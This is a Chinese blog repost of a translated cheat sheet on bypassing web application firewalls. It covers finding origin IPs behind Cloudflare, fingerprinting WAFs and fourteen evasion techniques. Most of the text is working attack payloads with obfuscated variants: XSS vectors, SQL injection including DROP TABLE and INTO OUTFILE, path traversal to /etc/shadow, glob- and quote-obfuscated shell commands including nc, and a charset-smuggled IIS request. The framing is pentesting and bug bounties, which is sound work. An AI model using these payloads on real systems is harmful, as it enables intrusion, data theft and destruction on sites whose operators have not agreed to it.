本文主要是介绍如何Bypass WAF备忘录,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!
#0x0、什么是WAF?
Web 应用程序防火墙 (WAF) 是一组监视器和过滤器,旨在检测和阻止对 Web 应用程序的网络攻击。 WAF 工作在 OSI 模型的应用层。
Web 应用程序防火墙作为一个安全工具、它实时决定网络请求是通过还是拒绝访问。通常,它与解决 HTTP/HTTPS 以外协议问题的组件、事件控制系统和反欺诈服务等其他元素一起包含在 Web 应用程序的整体安全系统中。
在进行渗透测试时,首先我们需要识别真实IP地址,识别WAF厂商,并尝试绕过WAF。目标防御被突破后,最精彩的部分就开始了。那些隐藏在 WAF 后面的所有内容都为进一步的渗透测试提供了空间。
使用WAF的原因:
- 纵深防御
- 检测并阻止针对易受攻击的 Web 应用程序的攻击
- 防止各种漏洞
- 保护公司的网络环境
常见WAF厂商:
#0x1、如何识别WAF厂商和查找真实IP地址
#真实IP发现
1、使用shodan.io或者censys.io(国内可用fofa或者zoomeyes)
2、查找 SPF 和 TXT 记录
SPF 和 TXT 记录的 IP 地址可能缺少 CloudFlare 的保护。
3、使用securitytrails.com 查找历史解析记录
#如何检测WAF
- WAF 使用标准端口 :80、443、8000、8008、8080 和 8088 端口。
- WAF 在请求中设置自己的 Cookie。
- WAF 将自己与单独的HTTP头相关联。
- WAF 将自身暴露在 Server HTTP头中。
- WAF 在HTTP响应内容中暴露自己。
- WAF 在恶意请求时使用唯一的响应代码进行回复。
- 从浏览器发送标准 GET 请求,拦截并记录响应标头(特定Cookie)。
- 从命令行(例如 cURL)发送请求,然后检查响应内容和标头。
- 向随机开放端口发送 GET 请求并检查可能暴露 WAF 身份的banner。
- 尝试发送一些SQL注入Payloads,比如or 1=1 --到登录表单或者找回密码的地方。
- 尝试在某些输入字段中使用诸如<script>confirm()</script>之类 XSS Payloads。
- 尝试将 ../../../etc/passwd 添加到 URL 地址中的随机参数中。
- 在任何随机参数的 URL 末尾添加一些Payloads,比如OR SLEEP(5) OR。
- 使用 HTTP/0.9 等过时协议发送 GET 请求(HTTP/0.9 不支持 POST 类型查询)。
- 根据不同类型的交互检查服务器标头。
- 将原始制作的 FIN&RST 数据包发送到服务器并识别响应。
- Side-Channel Attacks – 检查请求和响应内容的计时行为。
大多数黑客使用自动化工具来加快进程,以绕过他们感兴趣资源上的WAFs。我们整理了一些黑客常用的工具。使用这些工具只是检查对黑客开放内容的第一步。一定要定期进行渗透测试,因为WAFs每天都在更新规则,但黑客也没有闲着,他们每天都在寻找绕过WAF的新方法。
#检查和绕过 WAF 的工具:
w3af — Web 应用程序攻击和审计框架
wafw00f — 识别Web 应用程序防火墙指纹
BypassWAF – 通过滥用 DNS 历史绕过防火墙。此工具将搜索旧的 DNS A 记录并检查服务器是否回复该域。
CloudFail – 是一种战术侦察工具,它试图找到 Cloudflare WAF 背后的原始 IP 地址。
#0x2、Bypass WAF的技术
#1、大小写切换技术
组合大小写字符以创建有效的攻击载荷。
基本请求:
<script>confirm()</script>
绕过技术:
<ScrIpT>confirm()</sCRiPt>
基本请求:
SELECT * FROM * WHERE OWNER = 'NAME_OF_DB'
绕过技术:
sELeCt * fRoM * wHerE OWNER = 'NAME_OF_DB'
URL例子:
http://example.com/index.php?page_id=-1 UnIoN SeLeCT 1,2,3,4
#2、URL编码技术
使用 % 编码/URL 编码对正常有效负载进行编码。
你可以使用 Burp。它有一个编码/解码工具。
被 WAF 阻止:
<Svg/x=">"/OnLoAD=confirm()//
绕过技术:
%3CSvg%2Fx%3D%22%3E%22%2FOnLoAD%3Dconfirm%28%29%2F%2F
被 WAF 阻止:
UniOn(SeLeCt 1,2,3,4,5,6,7,8,9,10)
绕过技术:
UniOn%28SeLeCt+1%2C2%2C3%2C4%2C5%2C6%2C7%2C8%2C9%2C10%29
网址中的示例:
https://example.com/page.php?id=1%252f%252a*/UNION%252f%252a /SELECT
#3、Unicode 技术
Unicode 编码中的 ASCII 字符为我们提供了绕过 WAF 的绝佳变体。
编码整个或部分有效载荷以获得结果。
基本请求:
<marquee onstart=prompt()>
混淆:
<marquee onstart=\u0070r\u06f\u006dpt()>
被 WAF 阻止:
/?redir=http://google.com
绕过技术:
/?redir=http://google。com (Unicode 替代品)
被 WAF 阻止:
<marquee loop=1 onfinish=alert()>x
绕过技术:
<marquee loop=1 onfinish=alert︵1)>x (Unicode alternative)
基本请求:
../../etc/shadow
混淆:
%C0AE%C0AE%C0AF%C0AE%C0AE%C0AFetc%C0AFshadow
【——全网最全的网络安全学习资料包分享给爱学习的你,关注我,私信回复“资料领取”获取——】
1.网络安全多个方向学习路线
2.全网最全的CTF入门学习资料
3.一线大佬实战经验分享笔记
4.网安大厂面试题合集
5.红蓝对抗实战技术秘籍
6.网络安全基础入门、Linux、web安全、渗透测试方面视频
#4、HTML 实体编码技术
WebApp 将特殊字符编码为 HTML。对它们进行相应的编码和渲染。
具有 HTML 编码数字和通用的基本绕过案例。
基本请求:
"><img src=x οnerrοr=confirm()>
编码Payload:
"><img src=x onerror=confirm()>
编码Payload:
"><img src=x onerror=confirm()>
#5、混合编码技术
此类规则通常倾向于过滤掉特定类型的编码。
混合编码Payload可以绕过此类过滤器。
换行符和制表符,并进一步增加了混淆。
混淆Payload:
<A HREF="h
tt p://6 6.000146.0x7.147/">XSS</A>
#6、利用注释符技术
注释混淆了标准的有效Payload。
不同的Payloads有不同的混淆方式。
被 WAF 阻止:
<script>confirm()</script>
绕过技术:
<!--><script>confirm/**/()/**/</script>
被 WAF 阻止:
/?id=1+union+select+1,2--
绕过技术:
/?id=1+un/**/ion+sel/**/ect+1,2--
在攻击字符串的中间插入注释。例如,/*!SELECT*/可能会被 WAF 忽略,但会传递给目标应用程序并由 Mysql 数据库处理。
URL示例:
index.php?page_id=-1 %55nION/**/%53ElecT 1,2,3,4 'union%a0select pass from users#index.php?page_id=-1 /*!UNION*/ /*!SELECT*/ 1,2,3
#7、双编码技术
Web 应用程序防火墙过滤器通常会对字符进行编码以保护 Web 应用程序。
使用双重编码可以绕过开发不好的过滤器(没有递归过滤器)。
基础请求:
http://example/cgi/../../winnt/system32/cmd.exe?/c+dir+c:\
混淆:
http://example/cgi/%252E%252E%252F%252E%252E%252Fwinnt/system32/cmd.exe?/c+dir+c:\
基础请求:
<script>confirm()</script>
混淆:
%253Cscript%253Econfirm()%253C%252Fscript%253E
#8、通配符混淆技术
各种命令行实用程序使用全局模式来处理多个文件。
我们可以更改它们以运行系统命令。
基础请求:
/bin/cat /etc/passwd
混淆Payload:
/???/??t /???/??ss??
使用的字符:
/ ? t s
基础请求:
/bin/nc 127.0.0.1 443
混淆Payload:
/???/n? 2130706433 443
使用的字符:
/ ? n [0-9]
动态Payload生成技术:
编程语言有不同的连接模式和语法。
这使我们能够生成可以绕过多种过滤器和规则的有效Payloads。
基础请求:
<script>confirm()</script>
混淆Payload:
<script>eval('con'+'fi'+'rm()')</script>
基础请求:
/bin/cat /etc/shadow
混淆Payload:
/bi'n'''/c''at' /e'tc'/sh''ad'ow
Bash 允许执行路径连接。
基础请求:
<iframe/onload='this["src"]="javascript:confirm()"';>
混淆Payload:
<iframe/onload='this["src"]="jav"+"as
cr"+"ipt:con"+"fir"+"m()"';>
#9、垃圾字符技术
简单的有效负载很容易被 WAF 过滤掉。
添加一些垃圾字符有助于避免检测(仅限特定情况)。
这种技术通常有助于欺骗基于正则表达式的防火墙。
基础请求:
<script>confirm()</script>
混淆Payload:
<script>+-+-1-+-+confirm()</script>
基础请求:
<BODY onload=confirm()>
混淆Payload:
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=confirm()>
基础请求:
<a href=javascript;alert()>ClickMe
绕过技术:
<a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaaa href=javascript:alert(1)>ClickMe
#10、换行技术
许多基于正则表达式过滤的WAF有效地阻止了许多尝试。
换行符技术(CR和LF)可以破坏防火墙的正则表达式并绕过其他东西。
基础请求:
<iframe src=javascript:confirm(hacker)">
混淆Payload:
<iframe src="%0Aj%0Aa%0Av%0Aa%0As%0Ac%0Ar%0Ai%0Ap%0At%0A%3Aconfirm(hacker)">
#11、未初始化变量技术
使用未初始化的bash变量可以规避基于错误正则表达式的过滤器。
这样的值等于NULL,并且作用类似于空字符串。
Bash和perl允许这样的解释。
第一级混淆:常规
基础请求:
/bin/cat /etc/shadow
混淆Payload:
/bin/cat$u /etc/shadow$u
二级混淆:基于位置
基础请求:
/bin/cat /etc/shadow
混淆Payload:
$u/bin$u/cat$u $u/etc$u/shadow$u
第三级混淆:随机字符
基础请求:
/bin/cat /etc/shadow
混淆Payload:
$aaaaaa/bin$bbbbbb/cat$ccccccc $dddddd/etc$eeeeeee/passwd$fffffff
找到一个非常nice的入门课程,复制链接即可报名:
https://mp.weixin.qq.com/s/1gI0LnWdYbyArC8v58Yikw
#12、制表符和换行技术
制表符通常有助于规避防火墙,尤其是基于正则表达式的。
当正则表达式需要空格而不是制表符时,制表符可以帮助破坏 WAF 正则表达式。
基础请求:
<IMG SRC="javascript:confirm();">
绕过技术:
<IMG SRC=" javascript:confirm();">
变形方式:
<IMG SRC=" jav ascri pt:confirm ();">
基础请求:
http://test.com/test?id=1 union select 1,2,3
绕过技术:
http://test.com/test?id=1%09union%23%0A%0Dselect%2D%2D%0A%0D1,2,3
基础请求:
<iframe src=javascript:confirm()></iframe>
混淆Payload:
<iframe src=j a v a s c r i p t :c o n f i r m %28 %29></iframe>
#13、令牌破坏技术
对令牌的攻击试图用令牌破坏器打破将请求拆分为令牌的逻辑。
令牌破坏符是允许影响字符串元素与某个令牌之间的对应关系的符号。
我们的请求在使用令牌破坏器时必须保持有效。
案例研究:令牌器的未知令牌
我们的Payload:
?id=‘-sqlite_version() UNION SELECT passwords FROM users --
案例研究:解析器的未知上下文(请注意无上下文的括号)
第一个Payload:
?id=12);DROP TABLE users --
第二个Payload:
?id=133) INTO OUTFILE ‘xxx’ --
#14、其他格式的混淆技术
许多 Web 应用程序支持不同的编码类型并且可以解释编码。
我们总是需要将有效负载混淆为WAF不支持的格式,但服务器可以走私我们的有效负载。
IIS 案例:
- IIS 6、7.5、8 和 10 允许 IBM037 字符解释。
- 将编码参数与查询一起发送。
原始请求:
POST /example.aspx?id7=sometext HTTP/1.1
HOST: target.org
Content-Type: application/x-www-form-urlencoded; charset=utf-8
Content-Length: 27
id2='union all select * from users--
URL 编码的混淆请求:
POST /example.aspx?%89%84%F7=%A2%95%94%86%A3%88%89%95%87 HTTP/1.1
HOST: target.org
Content-Type: application/x-www-form-urlencoded; charset=ibm037
Content-Length: 127
%89%84%F2=%7D%A4%95%89%97%95%40%81%93%94%40%A2%85%93%85%84%A3%40%5C%40%86%99%97%94%40%A4%A2%85%99%A2%60%60
#0x3、总结
让我们总结一下上面写的一切。都是需要跳出框框思考。尝试不同的编码技术,其中一些会成功。不要偷懒不检查DNS记录,因为只有这样,你才能在bug赏金狩猎中取得成功。
不要忘记,任何保护都可以在Web资源中绕过,WAF也不是解决所有问题的灵丹妙药。黑客们不眠不休,总是寻找新的技术来攻击你的资源并牟利。通过专家的定期渗透测试,以及参与漏洞赏金计划,可以帮助你避免许多问题。
#0x4、说明
本文由合天网安实验室在原文上编译,如需转载请注明来源。
原文地址:
https://hacken.io/researches-and-investigations/how-to-bypass-waf-hackenproof-cheat-sheet
这篇关于如何Bypass WAF备忘录的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!